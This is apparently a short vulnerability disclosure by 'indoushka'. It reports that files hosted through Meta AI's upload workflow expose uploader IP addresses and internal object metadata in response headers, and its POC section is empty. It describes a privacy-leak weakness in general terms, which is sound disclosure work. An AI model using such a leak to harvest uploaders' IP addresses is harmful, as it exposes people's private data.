| # Title : Meta AI Disclosing sensitive metadata through hosting uploaded files |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.meta.ai/ |

[+] Summary : Publicly accessible hosted files generated through the upload workflow expose unsanitized object metadata through response headers.
The exposed metadata contains uploader-associated information including public IP addresses and additional internal object properties.
The issue allows anyone with access to the hosted URL to retrieve sensitive metadata without authentication.
[+] POC :
